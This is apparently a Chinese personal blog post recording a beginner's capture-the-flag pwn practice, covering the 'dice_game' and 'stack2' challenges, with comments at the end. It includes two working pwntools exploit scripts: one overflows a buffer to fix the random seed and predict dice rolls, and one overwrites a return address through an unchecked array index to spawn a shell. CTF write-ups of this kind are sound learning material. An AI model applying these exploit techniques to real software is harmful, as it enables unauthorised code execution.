menu 牢记自己是菜
RE.从零开始的pwn生活 第一日
1656 浏览 | 2020-07-28 | 阅读时间: 约 4 分钟 | 分类: PWn | 标签:
请注意,本文编写于 1368 天前,最后修改于 1368 天前,其中某些信息可能已经过时。

0x1 前言

( •̀ ω •́ )y!!我到家了,断更有一阵时间了,前几天忙着考试,昨天和师傅们混了一个js的代码审计。回来要好好学习了,这可能是最后一个可以努力提升自己的暑假了。开学来学长们毕业了,就剩我们惹,可不能让社团的二进制毁在我们手里。本身想做一个持续更新,最后想了想还是做一个专门的专题吧!主要是因为最近的图床我放在了oss下,要钱的(小心痛)。噶有噶有!


哇!看见这条华丽的分割线了嘛,上面是回到家得那天16号,今天已经是27号了!没办法,从开始调试虚拟机,到真正开始做题经历的事情还是挺多的。首先因为shellcode得无法使用,我对我的Ubuntu进行了一次大更新,我将pwntools更新到了最新,并且将它挂载到了python3上,完全解决了shellcode无法生成的问题。紧接着开始了自己PWN生活,前几天做的题目不是很难,一会进行简单得记录即可。但是今天我在做一道题目的时候,发现题目的栈地址不对,于是才想到使用checksec看一下保护,这一试就出问题了,我发现我的checksec使用不了,经历了重装等一系列操作,发现无果后。我又从大佬哪里嫖了一个虚拟机(PWN环境已经搭建好的那种)!因为之前的虚拟机我还搭建了智能合约的开发环境,实在是不舍得删。所以我全部都留下来了。前前后后折腾的时间还挺长的,但是之后应该会逐渐稳定下来不出意外的话,应该会加快学习速度,至于最近的智能合约,我卡在了合约开发上,因为没有接受过专业的软工的培训,并且英语底子比较弱,所以读起来还是比较费劲的。但是之后应该会继续的学习下去。

0x2 dice_game

这是一个猜数的PWN题,整个程序会使用一个随机的种子生成五十个随机的数字,只要你能猜中50次,就给你flag。题目利用的是简单的栈溢出,修改随机种子。这道题目我是参考鼎哥的博客的。这里主要说几个需要注意的点:

  1. 这道题目是提供libc的,不同的libc包括不同的操作系统对相同的种子都会生成不同的随机数。(鼎哥博客里面有说到)
  2. python3下的payload构造很有趣,它不支持字符与p64()转换过的比特流直接进行相加,需要进行一下转换。
    这里是鼎哥的exp:
#conding=utf-8 
from pwn import *
from ctypes import *
context.log_level = 'debug'
z = remote('124.126.19.106',37861)
#z = process('./game')
payload = 'a' * 0x40 + 'a' * 4
z.recvuntil("Welcome, let me know your name: ")
z.sendline(payload)
libc = cdll.LoadLibrary("libc.so.6")
libc.srand(0x61616161)
for i in range(50):
    z.recvuntil("Give me the point(1~6):")
    num = (libc.rand() % 6 + 1)
    z.sendline(str(num))
print(libc.rand()%6+1)
z.interactive()

0x3 stack2

这是一道开了保护的题目,也是让我发现我的checksec出问题的题目。

虽然我隐约觉得应给是和我将pwntools更换为python3有关,但是确实没有想到什么解决方法。我重装了我的checksec也没有解决问题,索性又给自己整了一个虚拟机。啊!希望不要再出问题了。如果有师傅知道是啥情况的话,可以考虑救一下我这个菜鸡。
回到题目,首先我们看一下保护。

这道题目canary和NX打开,拖入IDA看一下,发现了一个数组的溢出漏洞。

这一意味着我们可以在修改的时候,通过这个数组修改到栈的其他位置。数组一般会在栈中顺序排列,而且在我们学习高级语言程序设计的时候,就了解到对于一个数组B[],B其实相当一个指针,而里面的数字相当于一个偏移。最终到达在栈中修改数据的目的。对于本题,我们是想通过这个漏洞修改函数的返回地址,于是我们必须要知道,函数底部到底离我们的数组第一个位置有多远。在查阅很多题解的时候,发现很多师傅说静态与动态看出来的偏移不太一样。原因因为程序在代码中刻意的将自己的栈进行了拉高(或许有什么其他的作用)。于是我们动态的分析一下。

记下起始地址0xffffcf88

记下返回地址0xffffd00c
计算一下偏移是0x84
还有一个问题就是题目本身的问题,就是题目给的system(bin/bash)是是用不了的。我们需要自己构造system(sh)。
这里还是附上鼎哥的exp:

#!/usr/bin/python
#coding:utf-8
from pwn import*
io = process('./stack')

sys_a = 0x080485B4
bin_a = 0x08048987
offset = 0x84

def expchange(addr,ass):
    io.sendline('3')
    io.recvuntil('change:')
    io.sendline(str(addr))
    io.recvuntil('number:')
    io.sendline(str(ass))
    io.recvuntil('exit')

io.recvuntil('have:')
io.sendline('1')
io.recvuntil('numbers')
io.sendline('123')
io.recvuntil('exit')

expchange(offset,0xB4)
expchange(offset+1,0x85)
expchange(offset+2,0x04)
expchange(offset+3,0x08)

offset+=4

expchange(offset,0x87)
expchange(offset+1,0x89)
expchange(offset+2,0x04)
expchange(offset+3,0x08)

io.sendline('5')
io.interactive()

主要自己还在积累阶段,很多题目还是要摸着前人走过的路去走。自己的exp写的有很丑,所以还是主要以别的大佬的exp为主,一是看着舒服,二来为之后还可以整个模板,方便以后查阅。今天发现,鼎哥的堆基础知识已经写的差不多了,之后争取去学习一把。

发表评论

email
web

全部评论 (共 2 条评论)

    Ld1ng
    2020-07-28 19:07
    咋老是贴我的exp
      2020-07-28 20:59
      @Ld1ng那还不是我鼎哥的exp写的漂亮嘛 Σ(っ °Д °;)っ